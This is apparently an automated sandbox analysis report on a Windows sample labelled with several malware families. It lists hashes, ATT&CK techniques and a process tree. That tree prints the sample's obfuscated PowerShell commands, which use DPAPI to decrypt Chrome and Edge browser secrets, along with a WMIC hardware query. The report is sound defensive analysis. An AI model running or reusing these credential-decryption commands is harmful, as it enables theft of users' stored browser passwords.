af950606b010bfeec797b5e0dc444ecb027f145fd7609d4195491527406ff4a6

Analysis

max time kernel
150s
max time network
121s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260630-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260630-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 04:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-30_6fa0510235be45eed66c0235dcd28caa_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Size 36.0MB
Sample260701-e2r2mags8s
SHA256 af950606b010bfeec797b5e0dc444ecb027f145fd7609d4195491527406ff4a6
MD5 6fa0510235be45eed66c0235dcd28caa
SHA1 f24f0f1b2fa2cf1f9d56c26f3ae3413047a46c4c
SHA512 1e8d7420a789bbf793ab9732c0c725a09947c73c5b33876de169db3a4fe02b5a328dfb7a0c36d9a26d95dbd3f8d3a89a6d2b0d5e115b323d8a4fa94a4581fc3b
SSDEEP 393216:d76L6otUitqtH7wHtXq2pt2jbOCacCFIK0fpP9HF4VW8yfSnVQx4urYsANulL7NY:d0LoCOn+2Ss4urYDNulLBiuPs
TLSH
T15F877B0373E60095E8B792388AA75103D773B8635731CADF315D06552FBBAE0AA7B724
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion execution spyware stealer

Malware Config

Signatures

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1776	powershell.exe
2668	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2156	WMIC.exe
2156	WMIC.exe
2156	WMIC.exe
2156	WMIC.exe
1776	powershell.exe
1776	powershell.exe
2668	powershell.exe
2668	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2156	WMIC.exe
Token: SeSecurityPrivilege	2156	WMIC.exe
Token: SeTakeOwnershipPrivilege	2156	WMIC.exe
Token: SeLoadDriverPrivilege	2156	WMIC.exe
Token: SeSystemProfilePrivilege	2156	WMIC.exe
Token: SeSystemtimePrivilege	2156	WMIC.exe
Token: SeProfSingleProcessPrivilege	2156	WMIC.exe
Token: SeIncBasePriorityPrivilege	2156	WMIC.exe
Token: SeCreatePagefilePrivilege	2156	WMIC.exe
Token: SeBackupPrivilege	2156	WMIC.exe
Token: SeRestorePrivilege	2156	WMIC.exe
Token: SeShutdownPrivilege	2156	WMIC.exe
Token: SeDebugPrivilege	2156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2156	WMIC.exe
Token: SeRemoteShutdownPrivilege	2156	WMIC.exe
Token: SeUndockPrivilege	2156	WMIC.exe
Token: SeManageVolumePrivilege	2156	WMIC.exe
Token: 33	2156	WMIC.exe
Token: 34	2156	WMIC.exe
Token: 35	2156	WMIC.exe
Token: 36	2156	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2156	WMIC.exe
Token: SeSecurityPrivilege	2156	WMIC.exe
Token: SeTakeOwnershipPrivilege	2156	WMIC.exe
Token: SeLoadDriverPrivilege	2156	WMIC.exe
Token: SeSystemProfilePrivilege	2156	WMIC.exe
Token: SeSystemtimePrivilege	2156	WMIC.exe
Token: SeProfSingleProcessPrivilege	2156	WMIC.exe
Token: SeIncBasePriorityPrivilege	2156	WMIC.exe
Token: SeCreatePagefilePrivilege	2156	WMIC.exe
Token: SeBackupPrivilege	2156	WMIC.exe
Token: SeRestorePrivilege	2156	WMIC.exe
Token: SeShutdownPrivilege	2156	WMIC.exe
Token: SeDebugPrivilege	2156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2156	WMIC.exe
Token: SeRemoteShutdownPrivilege	2156	WMIC.exe
Token: SeUndockPrivilege	2156	WMIC.exe
Token: SeManageVolumePrivilege	2156	WMIC.exe
Token: 33	2156	WMIC.exe
Token: 34	2156	WMIC.exe
Token: 35	2156	WMIC.exe
Token: 36	2156	WMIC.exe
Token: SeDebugPrivilege	1776	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5688 wrote to memory of 1996	5688	2026-06-30_6fa0510235be45eed66c0235dcd28caa_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	89
PID 1996 wrote to memory of 2156	1996	cmd.exe	91
PID 5688 wrote to memory of 1984	5688	2026-06-30_6fa0510235be45eed66c0235dcd28caa_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	93
PID 1984 wrote to memory of 1776	1984	cmd.exe	95
PID 5688 wrote to memory of 4536	5688	2026-06-30_6fa0510235be45eed66c0235dcd28caa_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	96
PID 4536 wrote to memory of 2668	4536	cmd.exe	98

C:\Users\Admin\AppData\Local\Temp\2026-06-30_6fa0510235be45eed66c0235dcd28caa_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-30_6fa0510235be45eed66c0235dcd28caa_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAGkw+y+fdBEiTMoQvBwFZaRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAADl3RmettEYnj9ES7MwD5iaNnwpuZIE5Yc68S62px7HVAAAAAA6AAAAAAgAAIAAAAPKXlPIgyvP7xCo2Kekn7t97YHfQ+2MOCzUNZvaugd51MAAAAK3w+2w0IWmfuJ0tfucQY4D9/DX8lCKJZpEcr5eQh5NAYxiHofCCc6ZkLmroQZDTUEAAAADwGNuedNdASv7M4pnpEZ1tJp/Z+BweZ9H1yGSQJEPguYG//+/SWcE6EggOaRAyXOPjoITSMroROpySn0kFoN2m');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAGkw+y+fdBEiTMoQvBwFZaRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAADl3RmettEYnj9ES7MwD5iaNnwpuZIE5Yc68S62px7HVAAAAAA6AAAAAAgAAIAAAAPKXlPIgyvP7xCo2Kekn7t97YHfQ+2MOCzUNZvaugd51MAAAAK3w+2w0IWmfuJ0tfucQY4D9/DX8lCKJZpEcr5eQh5NAYxiHofCCc6ZkLmroQZDTUEAAAADwGNuedNdASv7M4pnpEZ1tJp/Z+BweZ9H1yGSQJEPguYG//+/SWcE6EggOaRAyXOPjoITSMroROpySn0kFoN2m');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAGkw+y+fdBEiTMoQvBwFZaRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAGMQ66b8ZYEZdX1NLE50029UTmNJWYuqfAIwtqE5HXMEAAAAADoAAAAACAAAgAAAAPdNlaXOJLKvhdVyL2obYuBq9zAADjlVpfgMvb2F/fMMwAAAABewp7GL/hSpPremPniKHlM87KqRTQNf7aTznF/BJpig3uD58kJbCaqFuGD72o4rqQAAAAG2KIqnJB2x8dz0+V4TTUxBO27FkqTMbTS1r1VaidjnbMP0EkKQDcFpreUm4XwrFW68o8/uJFspjRbPXWeMIvXQ=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAGkw+y+fdBEiTMoQvBwFZaRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAGMQ66b8ZYEZdX1NLE50029UTmNJWYuqfAIwtqE5HXMEAAAAADoAAAAACAAAgAAAAPdNlaXOJLKvhdVyL2obYuBq9zAADjlVpfgMvb2F/fMMwAAAABewp7GL/hSpPremPniKHlM87KqRTQNf7aTznF/BJpig3uD58kJbCaqFuGD72o4rqQAAAAG2KIqnJB2x8dz0+V4TTUxBO27FkqTMbTS1r1VaidjnbMP0EkKQDcFpreUm4XwrFW68o8/uJFspjRbPXWeMIvXQ=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2668

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ead85f1f9dfe1dd665847327fb56efcecef5bb7fea08100a62d903c80482149f
MD5 48d6dabac8027f4b8f12050f560426b1
SHA1 d694f3290a68636214273a5e50cf21a8850deab3
SHA512 7bc524980608ef03392be21835a8e2efdd33a8abbcd7133df8e5f6ea56134a1cc19f6470c86c8babf3aa633902a5b99cd2ec6782214764653845a7df5b57a39e
TLSH
T18E218933B3CC8664DC8A413654CEAC1136B687D7409ECEABAB84D118F42F289DEA11A0
MD5 SHA1 SHA512 TLSH